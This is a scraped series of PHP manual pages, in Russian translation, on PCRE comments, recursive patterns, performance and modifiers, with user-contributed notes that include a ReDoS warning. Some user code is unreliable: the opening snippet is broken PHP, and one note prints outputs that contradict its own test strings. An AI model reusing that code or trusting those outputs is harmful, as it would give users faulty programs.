Consider the following code, which scans thru HTML, keeping track of angle brackets "<" ">".  If open bracket "<" matches, then closing bracket ">" must follow before repetition can possibly end.  That way regex will effectively match only outside of tags.

<?php
$pattern='%(*ANY)(.*?(<)(?(2).*?>)(.*?))*?\'\'%s';
$replace='\1Fred';
$subject=
'<html><body class=\'\'>\'\' went to '\'\meyer and ran
into <b>\'\'</b>.
</body></html>'
echo preg_replace("%(*ANY)(.*?((<)(?(3).*?>).*?)*?)\'\'%s",'\1Fred',$subject);
?>

Output will be:
'<html><body class=\'\'>Fred went to Fredmeyer and ran
into <b>Fred</b>.
</body></html>'


Комментарии

Служебная последовательность (?# обозначает начало комментария, который продолжается до ближайшей закрывающей скобки. Вложенные скобки не допускаются. Символы, находящиеся внутри комментария, не принимают участия в сопоставлении шаблона.

Если используется модификатор PCRE_EXTENDED, неэкранированный символ «#» вне символьного класса также означает начало блока комментария, который длится до конца текущей строки.

Пример #1 Использование комментариев в шаблоне PCRE

<?php

$subject = 'test';

/* Последовательность (?# указывают, чтобы добавить комментарий без включения модификатора PCRE_EXTENDED */
$match = preg_match('/te(?# this is a comment)st/', $subject);
var_dump($match);

/* Пробелы и символы # рассматриваются как часть шаблона, если не включён модификатор PCRE_EXTENDED */
$match = preg_match('/te #~~~~
st/', $subject);
var_dump($match);

/* Когда модификатор PCRE_EXTENDED включён, пробелы и символы,
* которые идут за незаэкранированным символом #
* в той же строке, игнорируются
*/
$match = preg_match('/te #~~~~
st/x', $subject);
var_dump($match);

Результат выполнения приведённого примера:

int(1)
int(0)
int(1)

User Contributed Notes

asamaru at asamaru dot net 24-Jan-2017 12:00
<?php
$string = 'test';
echo preg_match('/te(?# comments)st/', $string) . "\n";
echo preg_match('/te#~~~~
st/', $string) . "\n";
echo preg_match('/te#~~~~
st/x', $string) . "\n";

// result
// 1
// 0
// 1


Рекурсивные шаблоны

Рассмотрим проблему сопоставления строки в круглых скобках, которая допускает неограниченное количество вложенных круглых скобок. Лучшее, что можно сделать без рекурсии, — написать шаблон, который будет решать задачу для ограниченной глубины вложенности, поскольку обработать неограниченную глубину невозможно. Perl 5.6 предоставил ряд экспериментальных возможностей, которые в том числе разрешают реализовать рекурсию в шаблонах. Специальное обозначение (?R) задают, чтобы указать рекурсивный подшаблон. Таким образом, приведём PCRE-шаблон, который решает поставленную задачу (подразумевается, что включён модификатор PCRE_EXTENDED, незначащие пробелы игнорируются): \( ( (?>[^()]+) | (?R) )* \)

Вначале шаблон соответствует открывающей круглой скобке. Затем шаблон соответствует любому количеству подстрок, каждая из которых может быть последовательностью символов, кроме скобок, либо строкой, рекурсивно соответствующей шаблону (т. е. строкой, корректно заключённой в круглые скобки). И, в конце, идёт закрывающая круглая скобка.

Приведённый пример шаблона включает вложенные неограниченные повторения, поэтому однократные шаблоны значительно ускоряют процесс сопоставления, особенно когда строка не соответствует заданной маске. Например, если применить этот шаблон к строке: (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(), то несоответствие будет обнаружено достаточно быстро. Но без однократных шаблонов сопоставление будет затягиваться на длительное время, поскольку существует множество способов разделения строки между квантификаторами + и *, и все они должны быть проверены, прежде чем будет выдано сообщение о неудаче.

Значение, которое устанавливают для захватывающего подшаблона, будет соответствовать значению, захваченному на наиболее глубоком уровне рекурсии. Когда приведённый шаблон сопоставляется со строкой (ab(cd)ef), захваченным значением будет «ef» — последнее значение, принимаемое на верхнем уровне. Если добавить дополнительные скобки \( ( ( (?>[^()]+) | (?R) )* ) \), захваченным значением будет «ab(cd)ef». Если в шаблоне встречается более 15 захватывающих скобок, модулю PCRE требуется больше памяти для обработки рекурсии, чем обычно. Память выделяется функцией pcre_malloc и освобождается функцией pcre_free. Если функция не может выделить память, сохраняются данные только для первых 15 захватывающих скобок, поскольку нет способа выдать ошибку out-of-memory изнутри рекурсии.

Конструкции (?1), (?2) и так далее указывают для рекурсивных подшаблонов. Допустимо также указывать именованные подшаблоны: (?P>name) или (?&name).

Если синтаксис ссылки на рекурсивный подшаблон (как по имени, так и по числовому индексу) указали вне скобок, к которым он относится, парсер обработает подшаблон аналогично подпрограмме в языке программирования. Возьмём более ранний пример, который указывает, что шаблон (sens|respons)e and \1ibility соответствует значениям «sense and sensibility» и «response and responsibility», но не «sense and responsibility». Если вместо этого написать шаблон (sens|respons)e and (?1)ibility, он совпадёт со значением «sense and responsibility» так же, как и с другими двумя строками. Однако такие ссылки должны быть указаны после подшаблона, на который они ссылаются.

Максимальная длина входной строки — наибольшее положительное число, которое может содержать целочисленная переменная. Однако, поскольку для обработки подшаблонов и бесконечного повторения модуль PCRE запускает рекурсию, это означает, что размер обрабатываемых строк в некоторых шаблонах также может быть ограничен доступным размером стека.

User Contributed Notes

mzvarik at gmail dot com 18-Nov-2020 10:53
This regexp can be used for parsing IF conditions.

$str = '
(IF_MYVAR)My var is printed
(OR_MYVARTWO)My var two is printed
(OR_ANOTHER)if you use OR you don't have to END everytime
(ELSE)Whatever bro(END)

(IF_BLUE)Something (IF_SUPERB)super(END) blue - this is simple IF condition(END)
';

function isCondition($k) {
    // put your user conditions here
    $conds = [];
    $conds['BLUE'] = true;
    $conds['MYVARTWO'] = true;
    $conds['ELSE'] = true; // always true
     return $conds[$k];
}

function findConditions($str) {

    $pattern = '~ \(if_([^\)]+)\) ((?: (?!\((end|if_)). | (?R) )*+) \(end\) ~xis';

    $str = preg_replace_callback($pattern, function($m) {

        $k = $m[1];
        $v = $m[2];
        $v = findConditions($v) ?: $v;

        $ors = preg_split('~(?=\((OR_[^\)]+|ELSE))~is', $v);

        $v = array_shift($ors); // hlavni

        if (isCondition($k)) return findConditions($v);
        else {
            foreach ($ors as $or) {
                list($k, $v) = explode(")", $or, 2);
                $k = substr($k, 1);
                if (isCondition($k)) return findConditions($v);
            }
        }
        return ''; // no matching condition
    }, $str);
    return $str;
};

// will output:  Whatever bro  \n\n  Something blue
echo findConditions($str);
Anonymous 04-Aug-2016 09:11
sass parse sample

<?php

$data = 'a { b { 1 } c { d { 2 } } }';

preg_match('/a (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/b (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/c (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/d (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);

/*
Array (
    [0] => a { b { 1 } c { d { 2 } } }
    [R] => { b { 1 } c { d { 2 } } }
    [1] => { b { 1 } c { d { 2 } } }
)
Array (
    [0] => b { 1 }
    [R] => { 1 }
    [1] => { 1 }
)
Array (
    [0] => c { d { 2 } }
    [R] => { d { 2 } }
    [1] => { d { 2 } }
)
Array (
    [0] => d { 2 }
    [R] => { 2 }
    [1] => { 2 }
)
*/
horvath at webarticum dot hu 15-Apr-2013 12:09
Below are some reusable patterns. I used comments with the 'x' modifier for human-readability.

You can write also a function, that generates patterns for specified bracket/quote pairs.

<?php

/* normal paretheses */
$simple_pattern = "(    (?#root pattern)
  (                     (?#text or expression)
    (?>[^\\(\\)]+)      (?#text)
    |
    \\((?-2)\\)         (?#expression and recursion)
  )*
)";

$simple_okay_text = "5( 2a + (b - c) ) - a * ( 2b - (c * 3(b - (c + a) ) ) )";
$simple_bad_text = "5( 2)a + (b - c) ) - )a * ( ((2b - (c * 3(b - (c + a) ) ) )";

echo "Simple pattern results:\n";
var_dump(preg_match("/^$simple_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$simple_pattern\$/x",$simple_bad_text));
echo "\n----------\n";

/* some brackets */
$full_pattern = "(                  (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>]+)    (?#text not contains brackets)
    |
    (
      [\\(\\{\\[<]                  (?#start bracket)
        (?(?<=\\()(?-3)\\)|           (?#if normal)
        (?(?<=\\{)(?-3)\\}|           (?#if coursed)
        (?(?<=\\[)(?-3)\\]|           (?#if squared)
        (?1)\\>                       (?#else so if tag)
      )))                           (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$full_okay_text = "5( 2a + [b - c] ) - a * ( 2b - {c * 3<b - (c + a) > } )";
$full_bad_text = "5[ 2a + [b - c} ) - a * ( 2b - [c * 3(b - c + a) ) ) }";

echo "Full pattern results:\n";
var_dump(preg_match("/^$full_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_bad_text));
echo "\n----------\n";

/* some brackets and quotes */
$extrafull_pattern = "(             (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>'\"]+) (?#text not contains brackets and quotes)
    |
    (
      ([\\(\\{\\[<'\"])             (?#start bracket)
        (?(?<=\\()(?-4)\\)|           (?#if normal)
        (?(?<=\\{)(?-4)\\}|           (?#if coursed)
        (?(?<=\\[)(?-4)\\]|           (?#if squared)
        (?(?<=\\<)(?-4)\\>|           (?#if tag)
        ['\"]                         (?#else so if static)
      ))))                          (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$extrafull_okay_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";
$extrafull_bad_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";

echo "Extra-full pattern results:\n";
var_dump(preg_match("/^$extrafull_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_bad_text));

/*

Outputs:

Simple pattern results:
int(0)
int(0)

----------
Full pattern results:
int(0)
int(0)
int(0)

----------
Extra-full pattern results:
int(0)
int(0)
int(0)
int(0)

*/

?>
horvath at webarticum dot hu 15-Apr-2013 12:07
With the (?R) item you can link only to the full pattern, because it quasi equals to (?0). You can not use anchors, asserts etc., and you can only check that string CONTAINS a valid hierarchy or not.

This is wrong: ^\(((?>[^()]+)|(?R))*\)$

However, you can bracketing the full expression, and replace (?R) to the relative link (?-2). This make it reusable. So you can check complex expressions, for example:
<?php

$bracket_system = "(\\(((?>[^()]+)|(?-2))*\\))"; // (reuseable)
$bracket_systems = "((?>[^()]+)?$bracket_system)*(?>[^()]+)?"; // (reuseable)
$equation = "$bracket_systems=$bracket_systems"; // Both side of the equation must be contain valid bracket systems
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2))=4(a+3)-2(a-(a-2))")); // Outputs 'int(1)'
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2)=4(a+3)-2(a-(a-2)))")); // Outputs 'int(0)'

?>

You can also catch multibyte quotes with the 'u' modifier (if you use UTF-8), eg:
<?php

$quoted = "(»((?>[^»«]+)|(?-2))*«)"; // (reuseable)
$prompt = "[\\w ]+: $quoted";
var_dump(preg_match("/^$prompt\$/u","Your name: »write here«")); // Outputs 'int(1)'

?>
Daniel Klein 06-Jun-2012 04:18
The order of non-mutually exclusive alternatives within a recursed sub-pattern is important.
<?php
$pattern = '/^(?<octet>[01]?\d?\d|2[0-4]\d|25[0-5])(?:\.(?P>octet)){3}$/';
?>

You might expect that this pattern will match any IP address in dotted-decimal notation (e.g. '123.45.67.89'). The pattern is intended to match four octets in the following ranges: 0-9, 00-99 & 000-255, each separated by a single dot. However, only the first octet can include values from 200-255; the remainder can only have values less than 200. The reason for this is that if the rest of the pattern fails, recursion is not back-tracked into to find an alternative match. The first part of the sub-pattern will match the first two digits of any octet from 200-255. The rest of the pattern will then fail because the third digit in the octet does not match either '\.' or '$'.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 0 (false)
var_export(preg_match($pattern, '255.123.45.200')); // 0 (false)
?>

The correct pattern is:
<?php
$pattern = '/^(?<octet>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>octet)){3}$/';
?>

Note that the first two alternatives are mutually exclusive so their order is unimportant. The third alternative, however, is not mutually exclusive but it will now only match when the first two fail.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.123.45.200')); // 1 (true)
?>
Onyxagargaryll 03-Mar-2011 04:49
Here's an approach to create a multidimensional array according to a string's delimiters, i.e. we want to analyze...

"some text (aaa(b(c1)(c2)d)e)(test) more text"

... as multidimensional layers.

<?php
$string = "some text (aaa(b(c1)(c2)d)e)(test) more text";

/*
 * Analyses the string multidimensionally by its opening and closing delimiters
 */
function recursiveSplit($string, $layer) {
    preg_match_all("/\((([^()]*|(?R))*)\)/",$string,$matches);
    // iterate thru matches and continue recursive split
    if (count($matches) > 1) {
        for ($i = 0; $i < count($matches[1]); $i++) {
            if (is_string($matches[1][$i])) {
                if (strlen($matches[1][$i]) > 0) {
                    echo "<pre>Layer ".$layer.":   ".$matches[1][$i]."</pre><br />";
                    recursiveSplit($matches[1][$i], $layer + 1);
                }
            }
        }
    }
}

recursiveSplit($string, 0);

/*

Output:

Layer 0:   aaa(b(c1)(c2)d)e

Layer 1:   b(c1)(c2)d

Layer 2:   c1

Layer 2:   c2

Layer 0:   test
*/
?>
jonah at nucleussystems dot com 21-Dec-2010 06:18
An unexpected behavior came up that introduced a very hard-to-track bug in some code I was working on.  It has to do with the preg_match_all PREG_OFFSET_CAPTURE flag.  When you capture the offset of a sub-match, it's offset is given _relative_ to it's parent.  For example, if you extract the value between < and > recursively in this string:

<this is a <string>>

You will get an array that looks like this:

Array
(
    [0] => Array
    (
        [0] => Array
        (
            [0] => <this is a <string>>
            [1] => 0
        )
        [1] => Array
        (
            [0] => this is a <string>
            [1] => 1
        )
    )
    [1] => Array
    (
        [0] => Array
        (
            [0] => <string>
            [1] => 0
        )
        [1] => Array
        (
            [0] => string
            [1] => 1
        )
    )
)

Notice that the offset in the last index is one, not the twelve we expected.  The best way to solve this problem is to run over the results with a recursive function, adding the parent's offset.
emanueledelgrande at email dot it 09-Jan-2010 03:47
The recursion in regular expressions is the only way to allow the parsing of HTML code with nested tags of indefinite depth.
It seems it's not yet a spreaded practice; not so much contents are available on the web regarding regexp recursion, and until now no user contribute notes have been published on this manual page.
I made several tests with complex patterns to get tags with specific attributes or namespaces, studying the recursion of a subpattern only instead of the full pattern.
Here's an example that may power a fast LL parser with recursive descent (http://en.wikipedia.org/wiki/Recursive_descent_parser):

$pattern = "/<([\w]+)([^>]*?) (([\s]*\/>)| (>((([^<]*?|<\!\-\-.*?\-\->)| (?R))*)<\/\\1[\s]*>))/xsm";

The performances of a preg_match or preg_match_all function call over an avarage (x)HTML document are quite fast and may drive you to chose this way instead of classic DOM object methods, which have a lot of limits and are usually poor in performance with their workarounds, too.
I post a sample application in a brief function (easy to be turned into OOP), which returns an array of objects:

<?php
// test function:
function parse($html) {
    // I have split the pattern in two lines not to have long lines alerts by the PHP.net form:
    $pattern = "/<([\w]+)([^>]*?)(([\s]*\/>)|".
    "(>((([^<]*?|<\!\-\-.*?\-\->)|(?R))*)<\/\\1[\s]*>))/sm";
    preg_match_all($pattern, $html, $matches, PREG_OFFSET_CAPTURE);
    $elements = array();

    foreach ($matches[0] as $key => $match) {
        $elements[] = (object)array(
            'node' => $match[0],
            'offset' => $match[1],
            'tagname' => $matches[1][$key][0],
            'attributes' => isset($matches[2][$key][0]) ? $matches[2][$key][0] : '',
            'omittag' => ($matches[4][$key][1] > -1), // boolean
            'inner_html' => isset($matches[6][$key][0]) ? $matches[6][$key][0] : ''
        );
    }
    return $elements;
}

// random html nodes as example:
$html = <<<EOD
<div id="airport">
    <div geo:position="1.234324,3.455546" class="index">
        <!-- comment test:
        <div class="index_top" />
        -->
        <div class="element decorator">
                <ul class="lister">
                    <li onclick="javascript:item.showAttribute('desc');">
                        <h3 class="outline">
                            <a href="http://php.net/manual/en/regexp.reference.recursive.php" onclick="openPopup()">Link</a>
                        </h3>
                        <div class="description">Sample description</div>
                    </li>
                </ul>
        </div>
        <div class="clean-line"></div>
    </div>
</div>
<div id="omittag_test" rel="rootChild" />
EOD;

// application:
$elements = parse($html);

if (count($elements) > 0) {
    echo "Elements found: <b>".count($elements)."</b><br />";

    foreach ($elements as $element) {
        echo "<p>Tpl node: <pre>".htmlentities($element->node)."</pre>
        Tagname: <tt>".$element->tagname."</tt><br />
        Attributes: <tt>".$element->attributes."</tt><br />
        Omittag: <tt>".($element->omittag ? 'true' : 'false')."</tt><br />
        Inner HTML: <pre>".htmlentities($element->inner_html)."</pre></p>";
    }
}
?>


Производительность

Некоторые элементы, которые встречаются в шаблонах, более эффективны, чем другие. Например, символьный класс [aeiou] работает гораздо эффективнее набора альтернатив (a|e|i|o|u). Как правило, более простая конструкция наболее эффективна. Книга Джеффри Фридла содержит много обсуждений вопроса оптимизации регулярных выражений.

Если шаблон начинается с .* и включили флаг PCRE_DOTALL, шаблон неявно заякоривается, поскольку шаблон может совпадать только в начале строки. Но если модификатор PCRE_DOTALL не включили, PCRE не может выполнить соответствующую оптимизацию, поскольку в этой ситуации метасимвол «.» не соответствует символу начала строки (если обрабатываемые данные содержат переводы строк, такой шаблон может соответствовать шаблону не от начала строки, а от позиции непосредственно после перевода строки). Например, применяя шаблон (.*) second к строке «first\nand second» (где \n — символ перевода строки), значение, которое захватил первый подшаблон, будет «and». Чтобы обработать все возможные точки соответствия, модуль PCRE пытается сопоставить шаблон после каждого символа перевода строки.

При работе с подобными шаблонами и обработке данных без переводов строк для лучшей производительности включают модификатор PCRE_DOTALL, либо начинают шаблон с циркумфлекса ^.* для явного заякоривания. Это защитит модуль PCRE от поиска символов новых строк и дополнительных попыток сопоставить шаблон с каждой такой найденной позицией.

Избегайте шаблонов, которые содержат вложенные неограниченные повторения. Сопоставление таких шаблонов со строками, которые не содержат совпадений, занимает длительное время. Рассмотрим пример шаблона (a+)*

Он может соответствовать значению «aaaa» тридцатью тремя различными способами, и эта цифра очень быстро растёт при увеличении строки. (В примере квантификатор * может совпадать 0, 1, 2, 3 или 4 раза, и для каждого такого случая, кроме нуля, квантификатор + также может совпадать различное число раз.) Если остаток шаблона таков, что все совпадение терпит неудачу, модуль PCRE должен попробовать все возможные варианты совпадения, что может потребовать огромного количества времени.

За счёт оптимизации отлавливают наиболее простые случаи наподобие (a+)*b где следом идёт литеральный символ. Перед началом стандартной процедуры поиска модуль PCRE проверяет в следующей подстроке наличие символа «b», и если символа нет, попытка сопоставления немедленно завершается неудачей. Однако, когда последующего литерала нет, оптимизация не может быть применена. Разница заметна при сравнении поведения шаблона (a+)*\d с поведением приведённого выше шаблона. Первый определяет невозможность сопоставления практически сразу, при сопоставлении со строкой, которая состоит из символов «a», тогда как второй тратит длительное время на поиск в строках с длиной больше 20 символов.

User Contributed Notes

arthur200126 at gmail dot com 04-Feb-2024 05:16
> Beware of patterns that contain nested indefinite repeats. These can take a long time to run when applied to a string that does not match.

To say that it takes a "long time" is an understatement: the time taken would be exponential, specifically 2^n, where n is the number of "a" characters. This behavior could lead to a "regular expression denial of service" (ReDoS) if you run such a expression on user-provided input.

To not be hit by ReDoS, do one (or maybe more than one) of the three things:

* Write your expression so that it is not vulnerable. https://www.regular-expressions.info/redos.html is a good resource (both the "atomic" and "possessive" options are available in PHP/PCRE). Use a "ReDoS detector" or "regex linter" if your eyeballs can't catch all the issues.
* Set up some limits for preg_match. Use `ini_set(...)` on the values mentioned on https://www.php.net/manual/en/pcre.configuration.php. Reducing the limits might cause regexes to fail, but that is usually better than stalling your whole server.
* Use a different regex implementation. There used to be an RE2 extension; not any more!


Описание модификаторов шаблонов Perl-совместимых регулярных выражений (PCRE)

Доступные PCRE-модификаторы перечислены ниже. Названия модификаторов в круглых скобках относятся к внутренним именам PCRE-выражений. Функции игнорируют пробелы и переводы строк в модификаторах, другие символы вызывают ошибку.

i (PCRE_CASELESS)
С этим модификатором символы в шаблоне соответствуют заглавным и строчным буквам.
m (PCRE_MULTILINE)
Модуль PCRE по умолчанию обрабатывает входную строку как строку, которая состоит из одной «строки» символов, даже если строка содержит переходы на новую строку. Метасимвол «начала строки» — «^» — соответствует только началу строки, тогда как метасимвол «конца строки» — «$» — соответствует только концу строки или позиции перед переводом строки, который завершает текст, если не установили модификатор D. В языке Perl ситуация аналогична. При установке этого модификатора конструкция «начало строки» соответствует позициям непосредственно после символов новой строки во входной строке и началу входной строки, а конструкция «конец строки» — позициям непосредственно после символов перевода строки и концу входной строки. Это соответствует Perl-модификатору /m. Установка этого модификатора не изменит поведение сопоставления, если входная строка не содержит символов перевода строки «\n», или шаблон не содержит метасимволов начала «^» или конца «$» строки.
s (PCRE_DOTALL)
С этим модификатором метасимвол «точка» в шаблоне соответствует всем символам, включая перевод строк. Без модификатора анализатор исключит переводы строк. Этот модификатор эквивалентен Perl-модификатору /s. Символьный класс с отрицанием, например [^a], соответствует символу перевода строки независимо от установки этого модификатора.
x (PCRE_EXTENDED)
Анализатор, если этот модификатор установили, проигнорирует в шаблоне символы пробельных данных, если пробельные символы не заэкранировали или не записали внутри символьного класса. Парсер также проигнорирует символы между неэкранированным символом «#» вне символьного класса и следующим переводом строки, включая сами символы «\n» и «#». Это эквивалентно Perl-модификатору /x и разрешает размещать комментарий в сложных шаблонах. Замечание: это касается только символьных данных. Пробельные символы не фигурируют в служебных символьных последовательностях, например, в последовательности «(?(», которая открывает условную подмаску.
A (PCRE_ANCHORED)
Этот модификатор «заякоревает» шаблон, то есть парсер найдёт совпадение, только если шаблон соответствует началу входной строки. Того же эффекта добиваются конструкцией «^» в самом шаблоне — единственный путь сделать то же в Perl.
D (PCRE_DOLLAR_ENDONLY)
С этим модификатором метасимвол «$», или знак доллара, в шаблоне будет соответствовать только концу входной строки. Без этого модификатора знак доллара также соответствует позиции перед последним символом, если последний символ — перевод строки (но не распространяется на другие переводы строк). Парсер проигнорирует этот модификатор, если указали модификатор m. В языке Perl аналогичного модификатора нет.
S
Шаблон, который сопоставляется многократно, заслуживает того, чтобы парсер потратил на анализ этого шаблона больше времени, чтобы увеличить скорость сопоставления. Парсер дополнительно анализирует шаблон при установке этого модификатора. Изучение шаблона парсером полезно только для «незаякоренных» шаблонов, которые не начинаются с фиксированного начального символа.
U (PCRE_UNGREEDY)
Модификатор инвертирует «жадность» квантификаторов, чтобы модификаторы не были жадными по умолчанию, а становились жадными, если за ними идёт знак ?. Модификатор несовместим с языком программирования Perl. Нежадный режим также устанавливают модификатором (?U) внутри шаблона или добавляют знак вопроса после квантификатора (например, .*?).

Замечание:

В нежадном режиме обычно невозможно совпадение символов, количество которых превышает значение директивы pcre.backtrack_limit.

X (PCRE_EXTRA)
Модификатор включает дополнительную функциональность модуля PCRE, которая несовместима с Perl. С этим модификатором обратный слеш в шаблоне, за которым идёт буква без специального значения, вызывает ошибку. Такое поведение резервирует комбинации с обратным слешем перед буквой без специального значения для будущего расширения. По умолчанию, как и в языке Perl, парсер рассматривает слеш перед буквой без специального значения как литерал. Пока это всё, чем управляет модификатор.
J (PCRE_INFO_JCHANGED)
Установка внутренней опции (?J) меняет локальную опцию PCRE_DUPNAMES. Модификатор разрешает подшаблонам одинаковые имена. Поддержку модификатора J добавили в PHP 7.2.0.
u (PCRE_UTF8)
Модификатор включает дополнительную функциональность модуля PCRE, которая несовместима с Perl. С этим модификатором парсер обрабатывает шаблон и входную строку как строку в кодировке UTF-8. Недопустимая входная строка приводит к тому, что функции preg_* ничего не находят, а неправильный шаблон приводит к ошибке уровня E_WARNING. Пятый и шестой октеты последовательности UTF-8 рассматриваются недопустимыми.
n (PCRE_NO_AUTO_CAPTURE)
Модификатор делает простые группы (xyz) незахватываемыми. Перехватываются только именованные группы наподобие (?<name>xyz). Это влияет только на то, какие группы парсер перехватит. По-прежнему разрешено пользоваться нумерованными ссылками на подшаблоны, а массив совпадений по-прежнему будет содержать нумерованные результаты.

User Contributed Notes

Hayley Watson 30-Jun-2020 01:01
Starting from 7.3.0, the 'S' modifier has no effect; this analysis is now always done by the PCRE engine.
Anonymous 22-Jul-2019 12:37
A warning about the /i modifier and POSIX character classes:
If you're using POSIX character classes in your regex that indicate case such as [:upper:] or [:lower:] in combination with the /i modifier, then in PHP < 7.3 the /i modifier will take precedence and effectively make both those character classes work as [:alpha:], but in PHP >= 7.3 the character classes overrule the /i modifier.
Wirek 23-Feb-2018 12:05
An important addendum (with new $pat3_2 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end (or at the beginning) of any line even without the multiple lines mode (/m) or meta-character assertions ($ or ^).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?) of default configuration option for meta-character assertions (^ and $) at compile time of PCRE.
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat3_2='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected, but '/(*ANYCRLF)\w$/mi' is more straightforward in use anyway
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat3_2, $str, $m4);
echo $str."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n3_2 !!! $pat3_2 ($r): ".print_r($m4[0], true);
// Note the difference between the two very helpful escape sequences in $pat3 and $pat3_2 (\R) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3_2 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 20-Feb-2018 01:18
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
damian dot driscoll at gmail dot com 14-Sep-2017 10:15
The PCRE_INFO_JCHANGED modifier works in version 5.6.31 but not in 5.6.16, which generates an 'unknown modifier J' warning.
arash dot dalir at gmail dot com 22-Aug-2017 11:54
